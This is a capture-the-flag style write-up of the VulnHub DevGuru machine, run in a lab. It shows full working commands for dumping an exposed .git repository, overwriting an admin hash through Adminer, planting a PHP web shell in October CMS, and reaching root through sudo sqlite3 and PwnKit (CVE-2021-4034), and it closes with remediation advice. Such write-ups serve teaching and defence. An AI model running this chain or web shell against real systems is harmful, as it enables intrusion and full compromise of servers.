A chain that pivots entirely on things left exposed — a world-readable .git directory, an Adminer console facing the internet, and an admin panel one password-swap away. The designed finish was a clever Gitea trick; this hardened build shut that door, so it ended on a kernel-era classic instead.
DevGuru runs an October CMS site on :80, a Gitea instance on :8585, and SSH on :22. Every step of the foothold is an exposure the developers never meant to ship. The path:
Two lessons: exposure compounds — a leaked .git plus an exposed DB console is already game over before any real "exploit" — and a hardened box reshapes the route, forcing the fallback when the designed path is closed.
nmap -Pn -sV -p22,80,8585 192.168.110.4
# 22/tcp OpenSSH 7.6p1 (Ubuntu 18.04)
# 80/tcp Apache 2.4.29 — October CMS ("Corp - DevGuru")
# 8585/tcp Gitea (Golang net/http)
The Gitea instance on :8585 is a strong hint that source code — and the credentials baked into it — are somewhere within reach. Port 80 is the October CMS front end and the starting point.
The webroot serves its own .git folder — the single most valuable misconfiguration on the box:
curl -s http://192.168.110.4/.git/config
# [remote "origin"]
# url = http://devguru.local:8585/frank/devguru-website.git ← user: frank
Dump the whole repository and check it out locally:
git-dumper http://192.168.110.4/.git /tmp/devguru_src
The recovered source hands over the database credentials in plaintext and confirms a second gift sitting in the webroot:
# config/database.php
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
# and in the repo root: adminer.php (a full web DB console, exposed)
.git directory under the webroot leaks the entire codebase, its history, and every secret ever committed. It is a two-command path from a public URL to the application's database password.MySQL is bound to localhost, but adminer.php is exposed and runs on the server — so it reaches the DB for us. Logging in with the leaked october creds, the backend_users table holds the October admin:
login | frank
password | $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZK... # bcrypt
Rather than crack it, overwrite it with a bcrypt hash of a password we control:
htpasswd -bnBC 10 "" 'Pentest123!' # -> $2y$10$...
# UPDATE backend_users SET password='$2y$10$...' WHERE login='frank';
frank / Pentest123! at /backend.October CMS pages carry a PHP code section that runs server-side. Logged into the backend, create a page in the active demo theme — URL /devrce — with this in its PHP/code pane:
function onStart() {
if (isset($_GET['cmd'])) {
echo '<pre>'.shell_exec($_GET['cmd']).'</pre>';
}
}
Visiting the page executes commands as the web user:
curl 'http://192.168.110.4/devrce?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
demo) — October only serves the active theme, so a page saved into the inactive business theme returns 404 no matter what its URL says.Enumerating as www-data, the designed route is clearly visible: Gitea runs as the user frank.
ps aux | grep gitea
# frank ... /usr/local/bin/gitea web --config /etc/gitea/app.ini
The intended chain is elegant: read Gitea's DB credentials from app.ini, use Adminer to reset frank's Gitea password, log into Gitea as an admin, and add a server-side git hook — which executes as the Gitea process user, frank. From a frank shell, sudo -l reveals the finisher:
# (intended) as frank:
sudo -l # (root) NOPASSWD: /usr/bin/sqlite3
sudo sqlite3 /dev/null '.shell /bin/sh' # GTFOBins → root
But this deployment was hardened. /etc/gitea/ is locked to www-data, so the Gitea DB credentials were unreadable — and the october MySQL user has no grants on the gitea database, so there was no second way in to reset frank's hash. The designed door was simply closed:
| Route to frank | Result |
|---|---|
Read /etc/gitea/app.ini | permission denied |
october MySQL user → gitea DB | no grants |
| Guess gitea DB password | no hit |
| Crack frank's old bcrypt (CPU) | too slow / not in rockyou |
SUID pkexec → PwnKit | root |
With the intended pivot sealed off, the environment itself offered the exit: a SUID pkexec on an Ubuntu 18.04 host is textbook PwnKit (CVE-2021-4034). There's no compiler on the target, so a self-contained prebuilt PwnKit was staged in and run:
# no gcc on target — serve a prebuilt binary from the attacker box,
# then run it, telling root to SUID bash for a stable non-interactive root path
echo 'chmod u+s /bin/bash' | ./pk
/bin/bash -p -c 'id'
# uid=33(www-data) ... euid=0(root)
pkexec mishandles an empty argument vector, letting an attacker-controlled GCONV_PATH load a malicious library as root. Any unpatched SUID pkexec is an instant local root..git under the webroot. Block dotfiles at the server, and don't deploy by cloning into the document root.adminer.php (or any DB console) to production. It turns a leaked DB password into instant, full database control.config/database.php — use environment variables and a secret store.pkexec (CVE-2021-4034) and strip unnecessary SUID binaries from hosts.Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.